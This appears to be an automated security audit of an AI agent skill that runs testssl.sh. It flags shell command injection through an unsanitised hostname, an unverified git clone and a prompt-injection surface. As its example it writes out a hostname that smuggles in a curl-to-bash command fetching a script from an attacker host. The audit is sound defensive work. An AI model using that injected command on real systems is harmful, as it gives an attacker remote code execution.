Risk Level: HIGHCOMMAND_EXECUTIONEXTERNAL_DOWNLOADS
Full Analysis
- [COMMAND_EXECUTION] (HIGH): The skill instructs the agent to execute shell commands using interpolation:
testssl.sh --json <hostname>:<port>. Since there is no input validation or sanitization specified for the<hostname>variable, an attacker can provide a malicious string (e.g.,example.com; curl http://attacker.com/malicious.sh | bash) to gain full remote code execution on the host system. - [EXTERNAL_DOWNLOADS] (MEDIUM): The 'Prerequisites' section directs the user/agent to download the tool directly from GitHub (
git clone https://github.com/drwetter/testssl.sh.git). Executing scripts downloaded at runtime from third-party repositories without integrity verification (like commit hashes or checksums) poses a supply-chain risk. - [INDIRECT_PROMPT_INJECTION] (HIGH): Vulnerability surface detected via target input.
- Ingestion points: The
<hostname>parameter provided during task initialization. - Boundary markers: None. The input is directly placed into a shell command string.
- Capability inventory: Full shell execution (
bash). - Sanitization: None. The instructions do not mention validating the hostname or using a safe execution wrapper.
